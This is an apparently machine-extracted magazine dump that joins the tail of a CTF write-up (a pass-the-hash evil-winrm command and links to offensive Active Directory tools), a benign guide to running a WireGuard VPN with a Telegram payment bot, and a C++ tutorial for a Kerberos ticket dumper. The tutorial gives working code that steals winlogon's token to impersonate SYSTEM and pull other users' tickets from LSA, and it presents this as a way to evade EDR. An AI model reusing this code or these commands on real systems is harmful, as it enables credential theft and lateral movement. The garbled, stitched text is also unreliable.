evil-winrm -i absolute.htb -u Administrator -H 
1f4a6093623653f6488d5aa24c75f2ea 

Флаг рута

Ма шина зах вачена!

https://github.com/Porchetta-Industries/CrackMapExec
https://github.com/SecureAuthCorp/impacket
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https://github.com/BloodHoundAD/BloodHound
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
https://github.com/samratashok/ADModule
https://github.com/ShutdownRepo/pywhisker
https://github.com/dirkjanm/PKINITtools
https://github.com/GhostPack/Seatbelt
https://github.com/cube0x0/KrbRelay
https://github.com/antonioCoco/RunasCs
https://github.com/GhostPack/Rubeus/


РАЗВОРАЧИВАЕМ СВОЙ
VPN-СЕРВЕР С ОПЛАТОЙ

ЧЕРЕЗ TELEGRAM

driver0black
driver0black05@mail.ru

ТРЮКИ

В этой статье я покажу не толь ко как сде- 
лать свой собс твен ный VPN-сер вис
на осно ве WireGuard, но и как его нас тро- 
ить, что бы им смог ли поль зовать ся все твои
друзья и зна комые. И даже, если пожела- 
ешь, закиды вать тебе свою долю за хос- 
тинг, поль зуясь прос тым ботом в Telegram.

Воз можность шиф ровать тра фик и прок сировать его через дру гие стра ны
сей час нас толь ко необ ходима, что я не ста ну тра тить твое вре мя и в оче ред- 
ной раз перечис лять все слу чаи, ког да без VPN не обой тись. При этом боль-
шинс тво поль зовате лей выбира ют готовые сер висы: либо бес плат ные,
но ненадеж ные и со встро енной рек ламой и слеж кой, либо плат ные,
но дорогие в срав нении с хос тингом.

Что бы сде лать свой VPN, тре бует ся поморо чить ся с коман дной стро кой.
Гикам вро де нас с тобой такое занятие в радость: я, не имея никако го опы та,
под нял такой сер вис за один вечер. Друзья ста ли спра шивать, нель зя ли и им
получить такой же быс трый, надеж ный и дешевый сер вис. Одна ко копать ся
с нас трой ками ник то из них не хотел.

Я дол гое вре мя генерил и раз давал готовые кон фиги, но потом это ста ло
надо едать. Тог да я задумал соз дать собс твен ное решение с воз можностью
быс тро го деп лоя, адми нис три рова нием через Telegram и вре мен ными кво-
тами для поль зовате лей. В этой статье я рас ска жу тебе о нем под робнее
и поделюсь все ми нуж ными для деп лоя исходни ками.

WARNING

Пре дос тавляя сто рон ним лицам прок си-сер вис
через зарегис три рован ный на тебя хос тинг, ты
берешь на себя ответс твен ность за все их дей- 
ствия в сети. Не забудь заранее обго ворить, что
мож но делать с тво его IP-адре са, а что нель зя.
А если пла ниру ешь пре дос тавлять ком мерчес кий
сер вис, подумай о сос тавле нии поль зователь ско- 
го сог лашения, которое сни мет с тебя ответс- 
твен ность.

ÏÎ×ÅÌÓ ÈÌÅÍÍÎ WIREGUARD?

Я выб рал WireGuard из-за его  в срав нении с OpenVPN и IPSec. Ты
толь ко пос мотри на эти гра фики.

ско рос ти

Про пус кная спо соб ность (мегабит в секун ду), тест iPerf3

Вре мя откли ка ping

По хожую ста тис тику показы вают тес ты  и . В Linux WireGuard
работа ет на уров не ядра, что дает допол нитель ный при рост в ско рос ти.

Protectli Entrostat

В WireGuard не такой боль шой выбор асим метрич ных шиф ров, как в
OpenVPN и дру гих про токо лах. Но это одновре мен но и плюс: мень ше повер- 
хность ата ки на про токол.

ÀÄÌÈÍ-ÏÀÍÅËÜ È ÁÎÒ Â TELEGRAM

Итак, как для поль зовате ля выг лядит обще ние с моим ботом? Нач нем зна- 
комс тво с глав ного меню.

Глав ное меню

При пер вом вхо де поль зователь получа ет при ветс твен ное сооб щение
от бота и тес товую под писку. В кон фигах бота ты смо жешь сам задать все
тек сты и парамет ры вро де вре мени, на которое пре дос тавля ется тес товая
под писка.

В глав ном меню поль зователь может озна комить ся со ста тусом сво ей
под писки, прод лить ее и получить кон фиг с под робной инс трук цией для под- 
клю чения, а в раз деле «Прод лить» — при обрести под писку на опре делен ное
вре мя.

Вы бор вари анта под писки

Оп лата выпол няет ся онлайн, через сам Telegram. Соот ветс твен но, мы можем
выб рать любую пла теж ную сис тему, с .ко торой сот рудни чает Telegram

INFO

Я пла ниро вал исполь зовать для опла ты Qiwi, так
как там есть откры тый API для соз дания сче тов
и не тре бует ся ста новить ся самоза нятым или ИП.
К сожале нию, недав но в Qiwi при оста нови ли
выпуск необ ходимых токенов и не сооб щают
о сро ках возоб новле ния. Одна ко в исходни ках ты
най дешь вари ант админ ской панели для Qiwi.

Пос ле того как поль зователь выб рал и опла тил под писку, ему при ходит сооб- 
щение об удач ной опла те и сра зу же обновля ется информа ция о его под- 
писке.

Под писка на месяц опла чена

В раз деле «Как под клю чить» поль зователь может получить свой кон фиг
для под клю чения к VPN-сер веру и под робную инс трук цию, как нас тро ить
WireGuard на сво ем телефо не и как им поль зовать ся.

Раз дел «Как под клю чить»

И наконец, самый глав ный раз дел — «Админ-панель», к которо му име ет дос- 
туп толь ко админ бота.

Глав ная админ-панели

Раз дел «Вывес ти поль зовате лей» поз воля ет получить спи сок всех поль- 
зовате лей сис темы или толь ко поль зовате лей с опла чен ной под пиской.

Раз дел «Вывес ти поль зовате лей»

В раз деле «Редак тировать поль зовате ля по id», вве дя Telegram ID поль- 
зовате ля, мы можем добавить вре мя или обну лить его (то есть заб рать под- 
писку).

Раз дел «Редак тировать поль зовате ля по id»

Раз дел «Ста тич ные поль зовате ли» может понадо бить ся для пре дос тавле ния
дос тупа к VPN поль зовате лям, которые не зарегис три рова ны в Telegram.
В этом раз деле мы можем соз давать ста тич ных поль зовате лей, уда лять их
и получать кон фиги для под клю чения.

Раз дел «Ста тич ные поль зовате ли»

Вот и всё меню. Но в боте еще есть уве дом ления поль зовате лей об окон- 
чании под писки. Все тек сты уве дом лений мож но пра вить в фай ле JSON.

Уве дом ления

ÍÀÑÒÐÎÉÊÀ ÁÎÒÀ

С тем, как выг лядит бот, я тебя поз накомил, теперь покажу нас трой ки
и скрипт, который раз ворачи вает и нас тра ивает WireGuard в пару кли ков.

Нач нем с кон фигов бота. Пер вый кон фиг называ ется , в нем

содер жатся основные нас трой ки бота.

config.json

{
 "admin_tg_id": 440887487,
 "one_month_cost": 120,
 "trial_period": 2700,
 "UTC_time": 3,
 "tg_token": "********:**************_**********",
 "tg_shop_token": "56456767:TEST:343455"

}

 — Telegram ID адми на. Узнать свой ID мож но у бота
.

• admin_tg_id

userinfobot
 — цена в руб лях за месяц под писки. Минималь ная сум- 

ма в руб лях дол жна быть экви вален та одно му дол лару, но, как показа ла
прак тика, сто ит выс тавлять нем ного боль ше, чем акту аль ный курс дол лара.
Курс, который исполь зует Telegram, мож но узнать на .

• one_month_cost

офи циаль ном сай те
 — пери од проб ной под писки. По умол чанию уста нов- 

лено 45 минут, то есть 2700 секунд.
• trial_period

 — часовой пояс в фор мате UTC. Бот будет учи тывать его
при выводе вре мени. По умол чанию уста нов лено UTC+3, то есть мос ков- 
ское вре мя.

• UTC_time

 — токен бота, получен ный от .• tg_token @BotFather
 — токен магази на в Telegram. Нужен, если мы хотим при- 

нимать опла ту. Если оста вить это зна чение пус тым, то бот прос то не будет
отправ лять фор му для опла ты и, соот ветс твен но, опла та онлайн будет
недос тупна.

• tg_shop_token

Как получить ? Перехо ди в Telegram к боту  и пиши

. Затем выбирай нуж ного бота и перехо ди в раз дел Payments. Тут ты

можешь озна комить ся со все ми дос тупны ми пла теж ными сис темами
и узнать, как их под клю чить. Пос ле под клю чения пла теж ной сис темы воз вра- 
щай ся в BotFather. В раз деле Payments дол жен появить ся наш завет ный ключ.

tg_shop_token @BotFather

/mybots

Как выг лядит токен для онлайн-опла ты

И пос ледний кон фигура цион ный файл хра нит в себе текст сооб щений,
которые бот при сыла ет поль зовате лям. Сооб щения могут быть офор мле ны
с при мене нием HTML-сти лей Telegram, а как ими поль зовать ся, можешь пос- 
мотреть в .до кумен тации

{
 "hello_message": "<b>Почему стоит выбрать Obi VPN?</b>...",
 "trial_message": "Чтобы вы смогли оценить наш VPN...",
 "how_to_connect_info": "Ваш конфиг для подключения к VPN...",
 "success_pay_message": "Оплата прошла успешно...",
 "ended_sub_message": "Ваша подписка закончилась...",
 "alert_to_renew_sub": "До конца действия..."

}

Ду маю, впол не понят но, какое сооб щение за что отве чает, поэто му не будем
оста нав ливать ся на этом и перей дем к деп лою.

ÄÅÏËÎÉ

Ска жу сра зу, что скрипт я раз рабаты вал на Ubuntu и тес тировал толь ко
на Ubuntu 20.04 и 22.04, поэто му не могу дать гаран тии, что он зарабо тает
на какой-то дру гой раз новид ности Linux.

Ус танов ка выпол няет ся одной коман дой:

sudo wget https://raw.githubusercontent.com/Obi0Wan0Kenobi/ObiVpn/
master/Wireguard-installer-with-Adminpanel.sh \

 && chmod 774 Wireguard-installer-with-Adminpanel.sh \
&& ./Wireguard-installer-with-Adminpanel.sh 

Эта коман да ска чива ет уста новоч ный скрипт, дает ему пра ва на запуск,
а затем запус кает.

Ког да уви дишь при ветс твен ное сооб щение, при готовь ся запол нять обя- 
затель ные поля, они нуж ны для нор маль ного фун кци они рова ния нашего VPN.
Зна чения некото рых парамет ров скрипт авто мати чес ки получа ет из сис темы
и пред ложит лишь под твер дить их кор рек тность или изме нить.

 

 

 

Dobro pozhalovat' v ustanovshchik WireGuard!

1.Vvedite publichnyj IPv4 adress: 185.200.190.143 
2.Vvedite setevoj interfejs: ens3 
3.Vyberite port kotoryj budet ispol'zovat' WireGuard [1-65535]: 49584 
4.Vyberite pervyj DNS server kotoryj budut ispol'zovat' klienty: 1.1.1.1 
5.Vyberite vtoroj DNS server kotoryj budut ispol'zovat' klienty 
(opcional'no): 1.0.0.1 
6.Hotite li ustanovit' srazu Telegram bota(1 - Da, 0 - Net): 1 
7.Vvedite API-klyuch ot vashego Telegram bota: ************* 
8.Vvedite klyuch ot vashej platezhnoj sistemy: ************* 
9.Vvedite Telegram-id administratora: *****

1. Вво дим пуб личный адрес IPv4 (получить его мож но, выпол нив коман ду 
 в тер минале или пос мотрев в панели адми нис три рова ния хос тинг-про-

вай дера).

ip 

-a

2. Здесь тре бует ся ввес ти сетевой интерфейс (его тоже мож но узнать
из вывода коман ды , чаще все го это ,  или что-то в таком
духе).

ip -a eth0 ens5

3. Порт, который будет исполь зовать WireGuard (по умол чанию скрипт выс- 
тавля ет слу чай ный порт с 49152 до 65535, но ты можешь ука зать любой).

4. Ос новной DNS-сер вер, который будет исполь зовать ся при генера ции кон- 
фигов для под клю чения (по умол чанию уста нав лива ется DNS Cloudare).

5. Вто рой DNS-сер вер (по умол чанию Cloudare).
6. Вы бира ем, хотим ли уста нав ливать панель адми нис три рова ния или нет.
7. Вво дим API Token нашего бота, получен ный от BotFather.
8. Ес ли не вво дить API Token пла теж ной сис темы, опла та в боте работать

не будет.
9. И пос леднее поле, которое нам надо запол нить, — это наш Telegram ID,

который мож но узнать у . Поль зователь с ука зан ным на этом
шаге ID ста нет адми нис тра тором бота и все го ресур са.

@userinfobot

Пос ле запол нения всех полей оста ется толь ко нажать любую кла вишу, и уста- 
нов ка нач нется. В кон це скрипт напишет WireGuard Installed.

Те перь заходим в нашего бота и пишем коман ду ./start

Про веря ем бота

Бот нам отве тил, а зна чит, уста нов ка прош ла успешно. Теперь мы можем зап- 
росить у бота соз дание кон фига, который затем импорти руем в кли ент
WireGuard на сво ем устрой стве и поп робу ем зай ти на сайт  для про вер- 
ки работос пособ ности VPN. Как видишь, наш исходный IP, мес тополо жение
и про чие парамет ры изме нились, а это зна чит, что VPN работа ет отлично.

2ip.ru

Про вер ка работос пособ ности VPN

ÂÛÂÎÄÛ

Мы разоб рались, как бук валь но за пару минут раз вернуть собс твен ный VPN-
сер вис с удоб ной панелью адми нис три рова ния. Ты можешь исполь зовать
его, что бы поделить ся цен ным сер висом с друзь ями или даже поп робовать
нем ного зарабо тать.

На пос ледок — пара советов по выбору хос тинга. Хоть WireGuard и работа- 
ет быс трее дру гих про токо лов, не сто ит забывать о вли янии рас положе ния
дата-цен тра. Советую не опла чивать VPS сра зу надол го, а сна чала срав нить
раз ные реги оны, дата-цен тры, про вай деров и выб рать опти маль ный вари ант.

WWW

Ис ходни ки ботов дос тупны на моем GitHub: есть
 и 

.
вер сия с опла той через Telegram с опла той
через Qiwi

mailto:driver0black05@mail.ru
https://www.wireguard.com/performance/
https://protectli.com/kb/opnsense-wireguard-performance/
https://blog.entrostat.com/openvpn-vs-wireguard-network-performance-tests/
https://core.telegram.org/bots/payments#supported-payment-providers
https://t.me/userinfobot
https://core.telegram.org/bots/payments#supported-currencies
https://t.me/BotFather
https://t.me/BotFather
https://core.telegram.org/bots/api#html-style
https://t.me/userinfobot
https://2ip.ru/
https://github.com/Obi0Wan0Kenobi/ObiVpn
https://github.com/Obi0Wan0Kenobi/ObiVpnQIWI
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КОДИНГ

Kerberos пре дос тавля ет мно жес тво фун- 
кций для аутен тифика ции поль зовате лей.
Основным «кир пичиком» счи тают ся тикеты,
которые в ходе тес тирова ния на про ник- 
новение ата кующий хотя бы раз дам пит
из памяти про цес са LSASS. Давай раз- 
берем ся, как мож но решить эту задачу,
не при бегая к слож ным инс тру мен там.

Ти кеты Kerberos быва ют двух видов: TGT (Ticket Granting Ticket) и TGS (Ticket
Granting Service). Для их дам па исполь зуют ся популяр ные инс тру мен ты,
которые дав но извес тны и сис темным адми нис тра торам, и тем более коман- 
де защит ников. Каж дый раз обфусци ровать или крип товать тот же Mimikatz
как минимум тру дозат ратно, поэто му я решил разоб рать ся в том, как работа- 
ет дамп тикетов с сис тем Windows.

KERBEROS AP

В  ты узнал, что такое SSP, SP и AP. Теперь пора
начинать ими зло упот реблять по-нас тояще му! Мы будем обра щать ся к AP
Kerberos и дос тавать из него билеты. Этот AP по умол чанию всег да при сутс- 
тву ет в про цес се , поэто му для вза имо дей ствия с ним будут
исполь зовать ся стан дар тные API, которые нуж ны для работы с LSA.

од ной из моих прош лых ста тей

lsass.exe

Под гру жен ная kerberos.dll

Нам пот ребу ется все го нес коль ко фун кций:
;• LsaConnectUntrusted

;• LsaRegisterLogonProcess
;• LsaGetLogonSessionData

;• LsaEnumerateLogonSessions
.• LsaCallAuthenticationPackage

Да, дамп будет выпол нен без вся кой магии, стан дар тны ми, легитим ными
вызова ми API. Я пом ню, как однажды услы шал, буд то дамп тикетов осу щест- 
вля ется путем чте ния, а затем пар синга памяти LSASS. Так вот, друзья мои,
ни , ни  так не дела ют. Оба инс тру мен та дам пят точ но так же,
с помощью тех же самых апи шек.

Rubeus Mimikatz

Ито говый резуль тат получил ся более чем кры шес носный. Если у нас есть
пра ва локаль ного адми нис тра тора, то мы выг рузим абсо лют но ВСЕ тикеты
из сис темы.

Дамп тикетов от лица при виле гиро ван ной УЗ

А если прав адми нис тра тора нет, то смо жем получить лишь тикеты из сеан са
вхо да текуще го поль зовате ля.

Ти кеты текуще го поль зовате ля

Итак, прис тупим к написа нию инс тру мен та.

ÍÀ×ÀËÎ ÐÀÁÎÒÛ

При вза имо дей ствии по про токо лу Kerberos меж ду кли ентом и KDC или служ- 
бой исполь зует ся AP Kerberos. Внут ри его кеша будут хра нить ся все сес сион- 
ные клю чи, а так же получен ные поль зовате лем TGT- и TGS-билеты. Но каким
обра зом AP Kerberos понима ет, что этот тикет при над лежит такому-то поль- 
зовате лю, а этот дру гому? Здесь в игру всту пают LUID. LUID — некий иден- 
тифика тор текущей сес сии. Мы можем уви деть текущий LUID с помощью
коман ды .klist

Те кущий LUID 0x3e121

Для успешно го дам па тикетов дру гих поль зовате лей нам нуж но знать их LUID.
Перечис лить LUID мож но с помощью . Под- 
робнее эту фун кцию мы рас смот рим чуточ ку поз же, но отме чу, что если мы
не име ем прав адми нис тра тора, то ник то не даст нам сдам пить чужие тикеты,
поэто му подоб ная раз ведка может ока зать ся бес смыс ленной.

LsaGetLogonSessionData()

Во-пер вых, я пред лагаю соз дать заголо воч ный файл , куда мы

помес тим все про тоти пы фун кций, дру гие заголо воч ные фай лы и некото рые
перечис ляемые зна чения с заделом на будущее.

stuff.h

#pragma once
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <Windows.h>
#include <NTSecAPI.h>
#include <iostream>
#include <sddl.h>
#include <algorithm>
#include <string>
#include <TlHelp32.h>
#include <cstring>
#include <cstdlib>
#include <iomanip>
#include <map>
#define DEBUG
#include <locale>
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)

#pragma comment (lib, "Secur32.lib")
    const PCWCHAR TicketFlagsToStrings[] = {

      L"name_canonicalize", L"?", L"ok_as_delegate", L"?",
      L"hw_authent", L"pre_authent", L"initial", L"renewable",
      L"invalid", L"postdated", L"may_postdate", L"proxy",
      L"proxiable", L"forwarded", L"forwardable", L"reserved",
};

    const char base64_chars[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

   LSA_STRING* create_lsa_string(const char* value);
    bool EnablePrivilege(PCWSTR privName, bool enable);
 DWORD ImpersonateSystem();

  BOOL LsaConnect(PHANDLE LsaHandle);
   VOID filetimeToTime(const FILETIME* time);
  VOID ParseTktFlags(ULONG flags);
      DWORD ReceiveLogonInfo(HANDLE LsaHandle, LUID LogonId, ULONG

kerberosAP);
    ULONG GetKerberosPackage(HANDLE LsaHandle, LSA_STRING lsastr);

По ка мы не будем углублять ся в под робнос ти работы каж дой фун кции — я
рас ска жу о них чуть поз же. Мы так же добави ли мас сив сим волов для кодиро- 
вания в Base64. Кодиро вать тикет в Base64 нуж но по той при чине, что он
пред став ляет собой бинар ные дан ные, которые невоз можно кор рек тно отоб- 
разить.

Ти кет в голом виде

Как ты видишь, здесь огромное количес тво непеча таемых сим волов. Раз ве
что прос матри вает ся имя домена. Эти дан ные никак не получит ся ско пиро- 
вать, вста вить на дру гой компь ютер, а затем внед рить, поэто му при меня ем
кодиро вание в Base64. Фун кция для кодиро вания выг лядит вот так:

     
  

std::string base64_encode(const unsigned char* bytes_to_encode,
size_t in_len) {
    std::string out;

         int val = 0, valb = -6;
            for (size_t i = 0; i < in_len; ++i) {

           unsigned char c = bytes_to_encode[i];
             val = (val << 8) + c;
         valb += 8;
           while (valb >= 0) {

               out.push_back(base64_chars[(val >> valb) & 0x3F]);
             valb -= 6;

       }
   }
             

  
if (valb > -6) out.push_back(base64_chars[((val << 8) >> (valb +

8)) & 0x3F]);
       while (out.size() % 4) out.push_back('=');

    return out;
}

Она как раз исполь зует этот самый мас сив сим волов. Теперь перей дем
в самое начало нашего кода, в фун кцию :main

  int main() {
    setlocale(LC_ALL, "");
   ShowAwesomeBanner();
      HANDLE LsaHandle = NULL;
      BOOL DumpAllTickets = FALSE;
     if (LsaConnect(&LsaHandle)) {
#ifdef DEBUG

           std::wcout << L"[+] I'll dump all tickets" << std::endl;
#endif

         DumpAllTickets = TRUE;
   }
    else {
#ifdef DEBUG

           std::wcout << L"[-] I'll dump tickets of current user" << std
::endl;
#endif
   }
#ifdef DEBUG
          std::wcout << L"[+] LsaHandle: " << (unsigned long)LsaHandle <<
std::endl;
#endif
      PLSA_STRING krbname = create_lsa_string("kerberos");
       ULONG kerberosAP = GetKerberosPackage(LsaHandle, *krbname);
#ifdef DEBUG
         std::wcout << L"[+] Kerberos AP: " << kerberosAP << std::endl;
#endif

Уж изви ни меня за такое количес тво дирек тив для преп роцес сора. Сна чала
думал их убрать, а потом оста вил. Если тебе не нуж но лиш него боль шого
вывода, где инс тру мент будет сооб щать обо всем, что он дела ет с сис темой,
то прос то из фай ла  убе ри стро ку . Если же пот ребу- 

ется отсле дить весь поток вызовов, оставляй ее.

stuff.h #define DEBUG

Итак, пер вым делом мы ста вим локаль, что бы наш инс тру мент умел
успешно работать с любыми язы ками, хоть с рус ским, хоть с япон ским, хоть
с кап падокий ским диалек том гре чес кого язы ка. Далее в фун кции

 мы выводим наш суперс траш ный череп (ведь никакая

хакер ская тул за не обой дет ся без него), а затем нас тупа ет этап под клю чения
к LSA в фун кции .

ShowAwesomeBanner()

LsaConnect()

ÎÑÎÁÅÍÍÎÑÒÈ ÄÀÌÏÀ

Наш инс тру мент замеча телен тем, что тикеты будет отда вать сам AP Kerberos.
При чем этот вари ант мож но счи тать дос таточ но скрыт ным. Быть может,
на каких-то пен тестах ты замечал, что сдам пить LSASS стан дар тны ми средс-
тва ми не получа ется, но при этом какой-нибудь  успешно

отра баты вает. Зна ешь почему?

Rubeus.exe dump

Проб лема зак люча ется в том, что боль шинс тво EDR (да и вся ких дру гих
новомод ных средств защиты, в рек ламу которых вбу хива ют мил лионы дол- 
ларов) отсле жива ет при митив ные фун кции для получе ния хен дла на про цесс

. Нап ример, хука ют тот же . Вся кие более прод- 
винутые вари анты исполь зуют , но это го мало.
Мы будем вза имо дей ство вать не с про цес сом , а со служ бой LSA.

Нам не понадо бит ся получать хендл на про цесс, мы получим хендл толь ко
на саму служ бу, поэто му задетек тировать наш инс тру мент будет чуточ ку
слож нее.

lsass.exe OpenProcess()
чуть боль шее чис ло вари антов

lsass.exe

Продолжение статьи →
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ДЕРЕМ 

ТРИ ШКУРЫ
КАК ДАМПИТЬ ТИКЕТЫ KERBEROS НА C++

КОДИНГ  НАЧАЛО СТАТЬИ←

ÏÎÄÊËÞ×ÅÍÈÅ Ê LSA

Что бы начать вза имо дей ство вать с AP Kerberos, сле дует под клю чить ся к LSA,
ведь имен но LSA управля ет все ми пакета ми аутен тифика ции. Под клю чение я
вынес в отдель ную фун кцию . Она при нима ет адрес, который

ини циали зиру ется валид ным хен длом на LSA, если смо жет его получить.

LsaConnect()

// Вызов функции
   HANDLE LsaHandle = NULL;

LsaConnect(&LsaHandle);

// Функция
   BOOL LsaConnect(PHANDLE LsaHandle) {

      NTSTATUS status = 0;
    wchar_t username[256];
    DWORD usernamesize;
#ifdef DEBUG
    GetUserName(username, &usernamesize);
         std::wcout << L"[?] Current user: " << username << std::endl;
       std::wcout << L"[?] Trying to get system" << std::endl;
#endif
       if (ImpersonateSystem() != 0) {
#ifdef DEBUG

           std::wcout << L"[-] Cant get SYSTEM rights" << std::endl;
#endif

         status = LsaConnectUntrusted(LsaHandle);
           if (!NT_SUCCESS(status) || !LsaHandle) {

    
  

           std::wcout << L"[-] LsaConnectUntrusted Err: " <<
LsaNtStatusToWinError(status) << std::endl;
           exit(-1);
       }

        return FALSE;
   }
    else {

        GetUserName(username, &usernamesize);
          PLSA_STRING krbname = create_lsa_string("MzHmO Dumper");

        LSA_OPERATIONAL_MODE info;
#ifdef DEBUG

             std::wcout << L"[?] Current user: " << username << std::endl;
#endif

           status = LsaRegisterLogonProcess(krbname, LsaHandle, &info);
           if (!NT_SUCCESS(status) || !LsaHandle) {

               std::wcout << L"[-] Cant Register Logon Process" << std::
endl;

             status = LsaConnectUntrusted(LsaHandle);
               if (!NT_SUCCESS(status) || !LsaHandle) {

    
  

               std::wcout << L"[-] LsaConnectUntrusted Err: " <<
LsaNtStatusToWinError(status) << std::endl;
               exit(-1);
           }

            return FALSE;
       }

        return TRUE;
   }
}

Итак, имен но в этой фун кции мы будем про верять, получит ся ли сдам пить
тикеты всех поль зовате лей, либо мы огра ничим ся толь ко текущим. Сна чала
получа ем имя поль зовате ля, от лица которо го запущен инс тру мент, пос ле
чего дер гает ся фун кция . Она дос таточ но прос та —

спер ва пыта ется добавить поль зовате лю при виле гию 

и , затем получа ет хендл на про цесс  (мож но
заменить любым дру гим, запущен ным от лица сис темы). Наконец, исполь зуя
этот хендл, фун кция получа ет токен про цес са  и при меня ет его

к текуще му потоку, что поз волит добить ся выпол нения кода от лица сис темы.

ImpersonateSystem()
SeDebug

SeImpersonate winlogon.exe

winlogon.exe

  DWORD ImpersonateSystem() {
      if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)) {
#ifdef DEBUG

           std::wcout << "[!] Error enabling SeDebugPrivilege" << std::
endl;
#endif

        return 1;
   }
    else {
#ifdef DEBUG

           std::wcout << "[+] SeDebugPrivilege Enabled" << std::endl;
#endif
   }

      if (!EnablePrivilege(SE_IMPERSONATE_NAME, TRUE)) {
#ifdef DEBUG

           std::wcout << "[!] Error enabling SeImpersonatePrivilege" <<
std::endl;
#endif

        return 1;
   }
    else {
#ifdef DEBUG

           std::wcout << "[+] SeImpersonatePrivilege Enabled" << std::
endl;
#endif
   }

      DWORD systemPID = GetWinlogonPid();
       if (systemPID == 0) {
#ifdef DEBUG

           std::wcout << "[!] Error getting PID to Winlogon process" <<
std::endl;
#endif

        return 1;
   }

        HANDLE procHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE,
systemPID);
      DWORD dw = 0;
     dw = ::GetLastError();
       if (dw != 0) {
#ifdef DEBUG

             std::wcout << L"[-] OpenProcess failed: " << dw << std::endl;
#endif

        return 1;
   }

    HANDLE hSystemTokenHandle;
     OpenProcessToken(procHandle, TOKEN_DUPLICATE, &hSystemTokenHandle
);
     dw = ::GetLastError();
       if (dw != 0) {
#ifdef DEBUG

             std::wcout << L"[-] OpenProcessToken failed: " << dw << std::
endl;
#endif

        return 1;
   }

    HANDLE newTokenHandle;
      

  
DuplicateTokenEx(hSystemTokenHandle, TOKEN_ALL_ACCESS, NULL,

SecurityImpersonation, TokenPrimary, &newTokenHandle);
     dw = ::GetLastError();
       if (dw != 0) {
#ifdef DEBUG

             std::wcout << L"[-] DuplicateTokenEx failed: " << dw << std::
endl;
#endif

        return 1;
   }

   ImpersonateLoggedOnUser(newTokenHandle);
    return 0;
}

Фун кции для работы с токена ми мы уже рас смат ривали в стать ях «
» и «

», поэто му не вижу смыс ла на них оста нав ливать ся.
, исполь зуя , получа ет спи- 

сок текущих про цес сов, а затем про бега ется по ним, что бы обна ружить про- 
цесс с нуж ным име нем, то есть .

Privileger.
Управля ем при виле гиями в Windows Свин API. Изу чаем воз можнос ти
WinAPI для пен тесте ра
GetWinlogonPid() CreateToolhelp32Snapshot()

winlogon.exe

  DWORD GetWinlogonPid() {
    PROCESSENTRY32 entry;
     entry.dwSize = sizeof(PROCESSENTRY32);

       HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,
NULL);

       if (Process32First(snapshot, &entry) == TRUE)
   {

           while (Process32Next(snapshot, &entry) == TRUE)
       {

               if (_wcsicmp(entry.szExeFile, L"winlogon.exe") == 0)
           {

                return entry.th32ProcessID;
           }
       }
   }
    return 0;
}

Ес ли хотя бы одна из этих опе раций обо рачи вает ся неуда чей, то нам будет
суж дено сдам пить лишь тикеты текуще го поль зовате ля. 

 вер нет 0, если успешно получи ла выпол нение кода от лица сис темы, и ,
если что-то пош ло не так. Поэто му добав ляем прос тое усло вие .

ImpersonateSystem(
) -1

if

       if (ImpersonateSystem() != 0) {
#ifdef DEBUG

           std::wcout << L"[-] Cant get SYSTEM rights" << std::endl;
#endif

         status = LsaConnectUntrusted(LsaHandle);
           if (!NT_SUCCESS(status) || !LsaHandle) {

    
  

           std::wcout << L"[-] LsaConnectUntrusted Err: " <<
LsaNtStatusToWinError(status) << std::endl;
           exit(-1);
       }

        return FALSE;
   }

Нач нем с вари анта, в котором нам не уда лось добить ся исполне ния кода
от лица сис темы. В таком слу чае при дет ся нем ножко взгрус тнуть, получить
обыч ный хендл на LSA и вер нуть . Получе ние хен дла на LSA через

 при ведет к тому, что все «ядер ные» воз можнос ти
дам па чужих тикетов ока жут ся нам недос тупны. Мы будем счи тать ся, бук валь- 
но говоря, недове рен ным про цес сом. В даль нейшем этот воз вра щен ный
FALSE про веря ется и уста нав лива ется соот ветс тву ющий фла жок, который
сиг нализи рует, воз можен дамп тикетов из всех сес сий или нет.

FALSE
LsaConnectUntrusted()

  if (LsaConnect(&LsaHandle)) {
           std::wcout << L"[+] I'll dump all tickets" << std::endl;

         DumpAllTickets = TRUE;
   }
    else {

           std::wcout << L"[-] I'll dump tickets of current user" << std
::endl;
   }

Ес ли же нам повез ло чуть боль ше, то теперь наша прог рамма исполня ется
от лица сис темы, поэто му регис три руем про цесс вхо да в сис тему. Сде лать
это мож но с помощью . Ука зан ная фун кция при- 
нима ет имя нового про цес са вхо да, некото рую (не осо бо важ ную) допол- 
нитель ную информа цию, а воз вра щает «ядер ный» хендл на LSA.

LsaRegisterLogonProcess()

    else {
        GetUserName(username, &usernamesize);

          PLSA_STRING krbname = create_lsa_string("MzHmO Dumper");
        LSA_OPERATIONAL_MODE info;

#ifdef DEBUG
             std::wcout << L"[?] Current user: " << username << std::endl;

#endif
           status = LsaRegisterLogonProcess(krbname, LsaHandle, &info);

           if (!NT_SUCCESS(status) || !LsaHandle) {
               std::wcout << L"[-] Cant Register Logon Process" << std::

endl;
             status = LsaConnectUntrusted(LsaHandle);

               if (!NT_SUCCESS(status) || !LsaHandle) {
    

  
               std::wcout << L"[-] LsaConnectUntrusted Err: " <<
LsaNtStatusToWinError(status) << std::endl;
               exit(-1);
           }

            return FALSE;
       }

        return TRUE;
   }

По лучен ный с помощью фун кции  хендл не име- 

ет никаких огра ниче ний в пла не вза имо дей ствия с LSA. Его мож но исполь- 
зовать для любых целей, мы фак тичес ки ста новим ся про цес сом вхо да, поч ти
как . Про цесс вхо да дол жен иметь свое уни каль ное имя, что бы

LSA мог ла понимать, к кому обра щать ся. LSA вос при нима ет стро ки толь ко
в виде спе циаль ной струк туры . Для кор рек тной ини циали зации

всех эле мен тов этой струк туры я так же сде лал спе циаль ную фун кцию:

LsaRegisterLogonProcess()

winlogon.exe

LSA_STRING

   LSA_STRING* create_lsa_string(const char* value)
{
       char* buf = new char[100];
      LSA_STRING* str = (LSA_STRING*)buf;
     str->Length = strlen(value);
     str->MaximumLength = str->Length;
       str->Buffer = buf + sizeof(LSA_STRING);
     memcpy(str->Buffer, value, str->Length);
    return str;
}

Пос ле соз дания име ни для нашего про цес са вхо да пора наконец-то вызывать
. Обра ти вни мание, что я не забыл обра ботать

воз можную ошиб ку, ведь мало ли что может про исхо дить в сис теме, вдруг
 не даст зарегис три ровать новый про цесс вхо- 

